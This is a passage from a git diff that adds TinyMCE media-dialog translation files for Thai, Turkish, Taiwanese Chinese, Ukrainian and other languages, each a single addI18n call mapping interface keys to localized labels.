URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullsk\u00e4rm",enabled:"Enabled",autostart:"Starta automatiskt",volume:"Volym",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"Enable JavaScript",correction:"No correction",targetcache:"Target cache",playeveryframe:"Spela varje bildruta",kioskmode:"Kiosk mode",controller:"Controller",menu:"Visa menyn",loop:"Loopa",play:"Spela upp automatiskt",hspace:"H-Space",vspace:"V-Space","class_name":"Klass",name:"Namn",id:"Id",type:"Typ",size:"Dimensioner",preview:"F\u00f6rhandsvisning","constrain_proportions":"Bibeh\u00e5ll proportionerna",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Bakgrundsf\u00e4rg",wmode:"WMode",salign:"SAlign",align:"Justera",scale:"Skala",quality:"Kvalit\u00e9",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Inst\u00e4llningar f\u00f6r Shockwave","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"Bottom left","align_bottom_right":"Bottom right",flash:"flash",quicktime:"quicktime ","embedded_audio_options":"Inst\u00e4llningar f\u00f6r inb\u00e4ddatljud",windowsmedia:"windowsmedia ",realmedia:"realmedia ",shockwave:"shockwave ",audio:"ljud",video:"video","html5_video_options":"HTML5 Filmegenskaper",altsource1:"Alternativk\u00e4lla 1",altsource2:"Alternativk\u00e4lla 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Ljudinst\u00e4llningar","preload_none":"F\u00f6rladda inte","preload_metadata":"F\u00f6rladda metadata","preload_auto":"L\u00e5t webbl\u00e4saren v\u00e4lja",iframe:"iframe",embeddedaudio:"inb\u00e4ddat ljud"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/th_dlg.js b/js/tiny_mce2/plugins/media/langs/th_dlg.js new file mode 100755 index 0000000..091d4b8 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.media_dlg',{list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23",file:"\u0e44\u0e1f\u0e25\u0e4c/URL",advanced:"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07",general:"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21 / \u0e41\u0e01\u0e49\u0e44\u0e02 \u0e21\u0e35\u0e40\u0e14\u0e35\u0e22","align_top_left":"\u0e1a\u0e19 \u0e0b\u0e49\u0e32\u0e22","align_center":"\u0e01\u0e25\u0e32\u0e07","align_left":"\u0e0b\u0e49\u0e32\u0e22","align_bottom":"\u0e25\u0e48\u0e32\u0e07","align_right":"\u0e02\u0e27\u0e32","align_top":"\u0e1a\u0e19","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"\u0e1a\u0e19 \u0e02\u0e27\u0e32",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullscreen",enabled:"Enabled",autostart:"\u0e40\u0e25\u0e48\u0e19\u0e2d\u0e31\u0e15\u0e42\u0e19\u0e21\u0e31\u0e15\u0e34",volume:"Volume",target:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"Enable JavaScript",correction:"No correction",targetcache:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 cache",playeveryframe:"Play every frame",kioskmode:"Kiosk mode",controller:"\u0e41\u0e1c\u0e07\u0e04\u0e27\u0e1a\u0e04\u0e38\u0e21",menu:"\u0e41\u0e2a\u0e14\u0e07\u0e40\u0e21\u0e19\u0e39",loop:"\u0e40\u0e25\u0e48\u0e19\u0e0b\u0e49\u0e33",play:"\u0e40\u0e25\u0e48\u0e19\u0e2d\u0e31\u0e15\u0e42\u0e19\u0e21\u0e31\u0e15\u0e34",hspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",vspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","class_name":"\u0e04\u0e25\u0e32\u0e2a",name:"\u0e0a\u0e37\u0e48\u0e2d",id:"Id",type:"\u0e0a\u0e19\u0e34\u0e14",size:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07",preview:"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07","constrain_proportions":"\u0e04\u0e07\u0e2d\u0e31\u0e15\u0e23\u0e32\u0e2a\u0e48\u0e27\u0e19",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",wmode:"WMode",salign:"SAlign",align:"Align",scale:"\u0e02\u0e19\u0e32\u0e14",quality:"\u0e04\u0e27\u0e32\u0e21\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"\u0e25\u0e48\u0e32\u0e07 \u0e0b\u0e49\u0e32\u0e22","align_bottom_right":"\u0e25\u0e48\u0e32\u0e07 \u0e02\u0e27\u0e32","embedded_audio_options":"Embedded Audio Options","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/tr_dlg.js b/js/tiny_mce2/plugins/media/langs/tr_dlg.js new file mode 100755 index 0000000..97edad9 --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.media_dlg',{list:"Listele",file:"Dosya/URL",advanced:"Geli\u015fmi\u015f",general:"Genel",title:"T\u00fcmle\u015fik medya ekle / d\u00fczenle","align_top_left":"Sol \u00fcst","align_center":"Orta","align_left":"Sol","align_bottom":"Alt","align_right":"Sa\u011f","align_top":"\u00dcst","qt_stream_warn":"Ak\u0131\u015f rtsp kaynaklar\u0131 geli\u015fmi\u015f alt\u0131ndaki QT Kay. alan\u0131na girilmeli.\nKay. alan\u0131na ayr\u0131ca ak\u0131\u015fkan olmayan eklenir.",qtsrc:"QT Kay.",progress:"\u0130lerle",sound:"Ses",swstretchvalign:"Esnetme D-Hiza",swstretchhalign:"Esnetme Y-Hiza",swstretchstyle:"Esnetme stili",scriptcallbacks:"Script \u00e7a\u011f\u0131r","align_top_right":"Sa\u011f \u00fcst",uimode:"UI Modu",rate:"Oran",playcount:"Oynatma say\u0131s\u0131",defaultframe:"Varsay\u0131lan \u00e7er\u00e7eve",currentposition:"Se\u00e7ili konum",currentmarker:"Se\u00e7ili i\u015faret\u00e7i",captioningid:"Ba\u015fl\u0131k id",baseurl:"Ge\u00e7erli URL",balance:"Denge",windowlessvideo:"Penceresiz video",stretchtofit:"S\u0131\u011facak \u015fekilde boyutland\u0131r",mute:"Sessiz",invokeurls:"Ba\u015flatma URL\'si",fullscreen:"Tam ekran",enabled:"Aktif",autostart:"Otomatik ba\u015flat",volume:"Ses d\u00fczeyi",target:"Hedef",qtsrcchokespeed:"S\u0131k\u0131\u015ft\u0131rma h\u0131z\u0131",href:"Href",endtime:"Biti\u015f zaman\u0131",starttime:"Ba\u015flang\u0131\u00e7 zaman\u0131",enablejavascript:"Javascript Aktif",correction:"D\u00fczeltme yok",targetcache:"Hedef \u00f6nbellek",playeveryframe:"Her \u00e7er\u00e7eveyi oynat",kioskmode:"Kiosk modu",controller:"Kontroller",menu:"Men\u00fcy\u00fc g\u00f6ster",loop:"D\u00f6nd\u00fcr",play:"Otomatik oynat",hspace:"Yatay bo\u015fluk",vspace:"Dikey bo\u015fluk","class_name":"S\u0131n\u0131f",name:"\u0130sim",id:"Id",type:"Tip",size:"Boyutlar",preview:"\u00d6nizleme","constrain_proportions":"Oran\u0131 s\u0131n\u0131rla",controls:"Kontroller",numloop:"D\u00f6ng\u00fc say\u0131s\u0131",console:"Konsol",cache:"\u00d6nbellek",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash de\u011fi\u015fkeni",base:"Taban",bgcolor:"Arkaplan",wmode:"WModu",salign:"SHizala",align:"Hizala",scale:"\u00d6l\u00e7ek",quality:"Kalite",shuffle:"Kar\u0131\u015ft\u0131r",prefetch:"\u00d6n belle\u011fe al",nojava:"Java yok",maintainaspect:"Orant\u0131y\u0131 koru",imagestatus:"Resim durumu",center:"Orta",autogotourl:"URL\'e otomatik git","shockwave_options":"Shockware se\u00e7enekleri","rmp_options":"Real media player se\u00e7enekleri","wmp_options":"Windows media player se\u00e7enekleri","qt_options":"Quicktime se\u00e7enekleri","flash_options":"Flash se\u00e7enekleri",hidden:"Gizli","align_bottom_left":"Sol alt","align_bottom_right":"Sa\u011f alt","embedded_audio_options":"G\u00f6m\u00fcl\u00fc Ses Ayarlar\u0131","html5_video_options":"HTML5 Video Ayarlar\u0131",altsource1:"Alternatif Kaynak 1",altsource2:"Alternatif Kaynak 2",preload:"\u00d6ny\u00fckleme",poster:"Poster",source:"Kaynak","html5_audio_options":"Ses Ayarlar\u0131","preload_none":"\u00d6ny\u00fckleme Yapma","preload_metadata":"Vide metadata \u00f6ny\u00fckleme","preload_auto":"Kullan\u0131c\u0131n\u0131n taray\u0131c\u0131s\u0131 karar versin"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/tw_dlg.js b/js/tiny_mce2/plugins/media/langs/tw_dlg.js new file mode 100755 index 0000000..a28423a --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.media_dlg',{list:"\u5217\u8868",file:"\u5a92\u9ad4URL",advanced:"\u9032\u968e",general:"\u4e00\u822c",title:"\u63d2\u5165/\u7de8\u8f2f\u5a92\u9ad4","align_top_left":"\u5de6\u4e0a","align_center":"\u7f6e\u4e2d","align_left":"\u9760\u5de6","align_bottom":"\u9760\u4e0b","align_right":"\u9760\u53f3","align_top":"\u9760\u4e0a","qt_stream_warn":"\u4e32\u6d41\u5a92\u9ad4rtsp\u8cc7\u6e90\u61c9\u8a72\u52a0\u5230\u300c\u9032\u968e\u300d\u4e2dQT src\u3002 \n\u540c\u6642\u589e\u52a0\u975e\u4e32\u6d41\u5a92\u9ad4\u8cc7\u6e90\u5230src\u3002",qtsrc:"QT Src",progress:"\u9032\u5ea6",sound:"\u8072\u97f3",swstretchvalign:"\u7e2e\u653e\u81f3\u5782\u76f4\u5c0d\u9f4a",swstretchhalign:"\u7e2e\u653e\u81f3\u6c34\u5e73\u5c0d\u9f4a",swstretchstyle:"\u7e2e\u653e\u6a23\u5f0f",scriptcallbacks:"Script \u547c\u53eb","align_top_right":"\u53f3\u4e0a",uimode:"\u5916\u89c0\u6a21\u5f0f",rate:"\u6bd4\u7387",playcount:"\u64ad\u653e\u6b21\u6578",defaultframe:"\u9810\u8a2d\u756b\u9762",currentposition:"\u76ee\u524d\u4f4d\u7f6e",currentmarker:"\u76ee\u524d\u6a19\u8a18",captioningid:"\u5b57\u5e55\u7de8\u865f",baseurl:"\u57fa\u5e95 URL",balance:"\u5e73\u8861",windowlessvideo:"\u7121\u8996\u7a97\u64ad\u653e",stretchtofit:"\u7e2e\u653e\u81f3\u9069\u5408\u5927\u5c0f",mute:"\u975c\u97f3",invokeurls:"\u5f15\u7528\u7684 URLs",fullscreen:"\u5168\u87a2\u5e55",enabled:"\u53ef\u7528",autostart:"\u81ea\u52d5\u64ad\u653e",volume:"\u97f3\u91cf",target:"\u76ee\u6a19",qtsrcchokespeed:"\u963b\u585e\u901f\u5ea6",href:"\u8d85\u9023\u7d50",endtime:"\u7d50\u675f\u6642\u9593",starttime:"\u958b\u59cb\u6642\u9593",enablejavascript:"\u555f\u7528 JavaScript",correction:"\u4fee\u6b63",targetcache:"\u76ee\u6a19\u66ab\u5b58",playeveryframe:"\u9010\u756b\u9762\u64ad\u653e",kioskmode:"Kiosk\u6a21\u5f0f",controller:"\u63a7\u5236\u9762\u677f",menu:"\u986f\u793a\u9078\u9805",loop:"\u5faa\u74b0",play:"\u81ea\u52d5\u64ad\u653e",hspace:"\u6c34\u5e73\u9593\u8ddd",vspace:"\u5782\u76f4\u9593\u8ddd","class_name":"\u985e\u5225",name:"\u540d\u7a31",id:"ID",type:"\u985e\u578b",size:"\u5927\u5c0f",preview:"\u9810\u89bd","constrain_proportions":"\u9396\u5b9a\u6bd4\u4f8b",controls:"\u63a7\u5236",numloop:"\u5faa\u74b0\u6b21\u6578",console:"\u63a7\u5236\u53f0",cache:"\u66ab\u5b58",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash \u8b8a\u6578",base:"\u57fa\u5e95",bgcolor:"\u80cc\u666f\u8272",wmode:"\u8996\u7a97\u6a21\u5f0f",salign:"SAlign",align:"\u5c0d\u9f4a",scale:"\u7e2e\u653e",quality:"\u54c1\u8cea",shuffle:"\u96a8\u6a5f",prefetch:"\u9810\u5148\u8f09\u5165",nojava:"No Java",maintainaspect:"\u9396\u5b9a\u6bd4\u4f8b",imagestatus:"\u5716\u7247\u72c0\u614b",center:"\u7f6e\u4e2d",autogotourl:"\u81ea\u52d5\u8f49\u81f3 URL","shockwave_options":"Shockwave \u9078\u9805","rmp_options":"Real Media Player \u9078\u9805","wmp_options":"Windows Media Player \u9078\u9805","qt_options":"Quick Time \u9078\u9805","flash_options":"Flash \u9078\u9805",hidden:"\u96b1\u85cf","align_bottom_left":"\u5de6\u4e0b","align_bottom_right":"\u53f3\u4e0b","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/uk_dlg.js b/js/tiny_mce2/plugins/media/langs/uk_dlg.js new file mode 100755 index 0000000..6c3b60c --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.media_dlg',{list:"\u0421\u043f\u0438\u0441\u043e\u043a",file:"\u0424\u0430\u0439\u043b/URL",advanced:"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e",general:"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",title:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 / \u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0432\u0431\u0443\u0434\u043e\u0432\u0430\u043d\u0456 \u043c\u0435\u0434\u0456\u0430","align_top_left":"\u0417\u0432\u0435\u0440\u0445\u0443 \u0437\u043b\u0456\u0432\u0430","align_center":"\u0426\u0435\u043d\u0442\u0440","align_left":"\u041b\u0456\u0432\u043e","align_bottom":"\u041d\u0438\u0437","align_right":"\u041f\u0440\u0430\u0432\u043e","align_top":"\u0412\u0435\u0440\u0445","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"\u0414\u0436\u0435\u0440\u0435\u043b\u043e QT",progress:"\u0425\u0456\u0434",sound:"\u0417\u0432\u0443\u043a",swstretchvalign:"\u0420\u043e\u0437\u0442\u044f\u0433\u043d\u0443\u0442\u0438 \u0432\u0435\u0440\u0442. \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0430\u043d\u043d\u044f",swstretchhalign:"\u0420\u043e\u0437\u0442\u044f\u0433\u043d\u0443\u0442\u0438 \u0433\u043e\u0440\u0438\u0437. \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0430\u043d\u043d\u044f",swstretchstyle:"\u0420\u043e\u0437\u0442\u044f\u0433\u043d\u0443\u0442\u0438\u0439 \u0441\u0442\u0438\u043b\u044c",scriptcallbacks:"\u0417\u0432\u043e\u0440\u043e\u0442\u043d\u0456\u0439 \u0432\u0438\u043a\u043b\u0438\u043a \u0441\u0446\u0435\u043d\u0430\u0440\u0456\u044e","align_top_right":"\u0417\u0432\u0435\u0440\u0445\u0443 \u0437\u043f\u0440\u0430\u0432\u0430",uimode:"\u0420\u0435\u0436\u0438\u043c \u0456\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443",rate:"\u0428\u0432\u0438\u0434\u043a\u0456\u0441\u0442\u044c",playcount:"\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u0432\u0430\u043d\u044c",defaultframe:"\u041a\u0430\u0434\u0440 \u0437\u0430 \u0437\u0430\u043c\u043e\u0432\u0447\u0430\u043d\u043d\u044f\u043c",currentposition:"\u041f\u043e\u0442\u043e\u0447\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0456\u044f",currentmarker:"\u041f\u043e\u0442\u043e\u0447\u043d\u0438\u0439 \u043c\u0430\u0440\u043a\u0435\u0440",captioningid:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u0434\u043f\u0438\u0441\u0443",baseurl:"\u041e\u0441\u043d\u043e\u0432\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",balance:"\u0411\u0430\u043b\u0430\u043d\u0441",windowlessvideo:"Windowless video",stretchtofit:"\u0417\u043c\u0435\u043d\u0448\u0438\u0442\u0438, \u0449\u043e\u0431 \u0432\u043c\u0456\u0441\u0442\u0438\u043b\u043e\u0441\u044c",mute:"\u0417\u0430\u0433\u043b\u0443\u0448\u0438\u0442\u0438",invokeurls:"\u0412\u0438\u043a\u043b\u0438\u043a\u0430\u0442\u0438 URLs",fullscreen:"\u041f\u043e\u0432\u043d\u0438\u0439 \u0435\u043a\u0440\u0430\u043d",enabled:"\u0414\u043e\u0437\u0432\u043e\u043b\u0435\u043d\u0438\u0439",autostart:"\u0410\u0432\u0442\u043e\u0441\u0442\u0430\u0440\u0442",volume:"\u0413\u0443\u0447\u043d\u0456\u0441\u0442\u044c",target:"\u0426\u0456\u043b\u044c",qtsrcchokespeed:"\u0428\u0432\u0438\u0434\u043a\u0456\u0441\u0442\u044c \u0437\u0430\u0433\u0430\u0441\u0430\u043d\u043d\u044f",href:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",endtime:"\u0427\u0430\u0441 \u043a\u0456\u043d\u0446\u044f",starttime:"\u0427\u0430\u0441 \u043f\u043e\u0447\u0430\u0442\u043a\u0443",enablejavascript:"\u0414\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 JavaScript",correction:"\u0411\u0435\u0437 \u043a\u043e\u0440\u0435\u043a\u0446\u0456\u0457",targetcache:"\u0426\u0456\u043b\u044c\u043e\u0432\u0438\u0439 \u043a\u0435\u0448",playeveryframe:"\u041f\u0440\u043e\u0433\u0440\u0430\u0432\u0430\u0442\u0438 \u043a\u043e\u0436\u0435\u043d \u043a\u0430\u0434\u0440",kioskmode:"\u041f\u043e\u0432\u043d\u043e\u0435\u043a\u0440\u0430\u043d\u043d\u0438\u0439 \u0440\u0435\u0436\u0438\u043c",controller:"\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u0440",menu:"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043c\u0435\u043d\u044e",loop:"\u041f\u043e\u0432\u0442\u043e\u0440\u044e\u0432\u0430\u0442\u0438",play:"\u0410\u0432\u0442\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u0432\u043d\u043d\u044f",hspace:"\u0433\u043e\u0440.\u0432\u0456\u0434\u0441\u0442\u0443\u043f",vspace:"\u0432\u0435\u0440\u0442.\u0432\u0456\u0434\u0441\u0442\u0443\u043f","class_name":"\u041a\u043b\u0430\u0441",name:"\u041d\u0430\u0437\u0432\u0430",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440",type:"\u0422\u0438\u043f",size:"\u0420\u043e\u0437\u043c\u0456\u0440\u0438",preview:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434","constrain_proportions":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",controls:"\u041a\u0435\u0440\u0443\u0432\u0430\u043d\u043d\u044f",numloop:"\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0446\u0438\u043a\u043b\u0456\u0432",console:"\u041a\u043e\u043d\u0441\u043e\u043b\u044c",cache:"\u041a\u0435\u0448",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438",base:"\u0411\u0430\u0437\u0430",bgcolor:"\u0424\u043e\u043d",wmode:"W-\u0440\u0435\u0436\u0438\u043c",salign:"S-\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",scale:"\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0443\u0432\u0430\u043d\u043d\u044f",quality:"\u042f\u043a\u0456\u0441\u0442\u044c",shuffle:"\u041f\u0435\u0440\u0435\u0442\u0430\u0441\u0443\u0432\u0430\u0442\u0438",prefetch:"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0454 \u0432\u0438\u043b\u0443\u0447\u0435\u043d\u043d\u044f",nojava:"\u0411\u0435\u0437 Java",maintainaspect:"\u0412\u0434\u0435\u0440\u0436\u0443\u0432\u0430\u0442\u0438 \u0440\u0430\u043a\u0443\u0440\u0441",imagestatus:"\u0421\u0442\u0430\u0442\u0443\u0441 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",center:"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",autogotourl:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u0430\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443","shockwave_options":"\u041e\u043f\u0446\u0456\u0457 Shockwave","rmp_options":"\u041e\u043f\u0446\u0456\u0457 Real media player","wmp_options":"\u041e\u043f\u0446\u0456\u0457 Windows media player","qt_options":"\u041e\u043f\u0446\u0456\u0457 Quicktime","flash_options":"\u041e\u043f\u0446\u0456\u0457 Flash",hidden:"\u041f\u0440\u0438\u0445\u043e\u0432\u0430\u043d\u0438\u0439","align_bottom_left":"\u0417\u043d\u0438\u0437\u0443 \u0437\u043b\u0456\u0432\u0430","align_bottom_right":"\u0417\u043d\u0438\u0437\u0443 \u0437\u043f\u0440\u0430\u0432\u0430",flash:"flash",quicktime:"quicktime",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"\u0412\u0456\u0434\u0435\u043e \u043e\u043f\u0446\u0456\u0457 HTML5",altsource1:"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e 1",altsource2:"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0435 \u0434\u0436\u0435\u0440\u0435\u043b\u043e 2",preload:"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0454 \u0437\u0430\u0432\u0430\u043d\u0442\u0430\u0436\u0435\u043d\u043d\u044f",source:"\u0414\u0436\u0435\u0440\u0435\u043b\u043e","html5_audio_options":"\u0410\u0443\u0434\u0456\u043e \u043e\u043f\u0446\u0456\u0457",iframe:"iframe",embeddedaudio:"embeddedaudio","embedded_audio_options":"Embedded Audio Options",poster:"Poster","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/media/langs/vi_dlg.js b/js/tiny_mce2/plugins/media/langs/vi_dlg.js new file mode 100755 index 0000000..04fca2d --- /dev/null +++ b/js/tiny_mce2/plugins/media/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.media_dlg',{list:"Danh s\u00e1ch",file:"T\u1eadp tin/URL",advanced:"N\u00e2ng cao",general:"Chung",title:"Ch\u00e8n / s\u1eeda ph\u01b0\u01a1ng ti\u1ec7n truy\u1ec1n th\u00f4ng nh\u00fang","align_top_left":"Tr\u00ean c\u00f9ng tr\u00e1i","align_center":"Gi\u1eefa","align_left":"Tr\u00e1i","align_bottom":"D\u01b0\u1edbi c\u00f9ng","align_right":"Ph\u1ea3i","align_top":"Tr\u00ean c\u00f9ng","qt_stream_warn":"Ngu\u1ed3n rtsp theo lu\u1ed3ng n\u00ean \u0111\u01b0\u1ee3c th\u00eam v\u00e0o tr\u01b0\u1eddng QT Src d\u01b0\u1edbi th\u1ebb n\u00e2ng cao.\nB\u1ea1n c\u0169ng n\u00ean th\u00eam m\u1ed9t phi\u00ean b\u1ea3n kh\u00f4ng theo lu\u1ed3ng v\u00e0o tr\u01b0\u1eddng Src..",qtsrc:"QT Src",progress:"\u0110ang ti\u1ebfn tri\u1ec3n",sound:"\u00c2m thanh",swstretchvalign:"D\u00e3n theo V-Align",swstretchhalign:"D\u00e3n theo H-Align",swstretchstyle:"Ki\u1ec3u d\u00e3n",scriptcallbacks:"H\u00e0m g\u1ecdi ng\u01b0\u1ee3c Script","align_top_right":"Tr\u00ean c\u00f9ng ph\u1ea3i",uimode:"Ch\u1ebf \u0111\u1ed9 UI",rate:"T\u1ed1c \u0111\u1ed9",playcount:"\u0110\u1ebfm l\u1ea7n ph\u00e1t",defaultframe:"Khung m\u1eb7c \u0111\u1ecbnh",currentposition:"V\u1ecb tr\u00ed hi\u1ec7n th\u1eddi",currentmarker:"B\u1ed9 t\u1ea1o hi\u1ec7n th\u1eddi",captioningid:"id \u0111\u1ea7u \u0111\u1ec1",baseurl:"Base URL",balance:"C\u00e2n b\u1eb1ng",windowlessvideo:"Video kh\u00f4ng c\u1eeda s\u1ed5",stretchtofit:"D\u00e3n \u0111\u1ec3 ph\u00f9 h\u1ee3p",mute:"T\u1eaft \u00e2m thanh",invokeurls:"URL tri\u1ec7u g\u1ecdi",fullscreen:"To\u00e0n m\u00e0n h\u00ecnh",enabled:"Cho ph\u00e9p",autostart:"T\u1ef1 \u0111\u1ed9ng b\u1eaft \u0111\u1ea7u",volume:"\u00c2m l\u01b0\u1ee3ng",target:"\u0110\u00edch",qtsrcchokespeed:"T\u1ed1c \u0111\u1ed9 Choke",href:"Href",endtime:"Th\u1eddi gian k\u1ebft th\u00fac",starttime:"Th\u1eddi gian b\u1eaft \u0111\u1ea7u",enablejavascript:"Cho ph\u00e9p JavaScript",correction:"Kh\u00f4ng ch\u1ec9nh",targetcache:"B\u1ed9 nh\u1edb \u0111\u1ec7m \u0111\u00edch",playeveryframe:"Ph\u00e1t t\u1ea5t c\u1ea3 khung",kioskmode:"Ch\u1ebf \u0111\u1ed9 Kiosk",controller:"Tr\u00ecnh \u0111i\u1ec1u khi\u1ec3n",menu:"Hi\u1ec3n th\u1ecb menu",loop:"L\u1eb7p",play:"T\u1ef1 \u0111\u1ed9ng ph\u00e1t",hspace:"H-Space",vspace:"V-Space","class_name":"L\u1edbp",name:"T\u00ean",id:"Id",type:"Ki\u1ec3u",size:"K\u00edch th\u01b0\u1edbc",preview:"Xem tr\u01b0\u1edbc","constrain_proportions":"R\u00e0ng bu\u1ed9c t\u1ec9 l\u1ec7",controls:"\u0110i\u1ec1u khi\u1ec3n",numloop:"S\u1ed1 l\u1eb7p",console:"B\u00e0n \u0111i\u1ec1u khi\u1ec3n",cache:"B\u1ed9 nh\u1edb \u0111\u1ec7m",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"C\u01a1 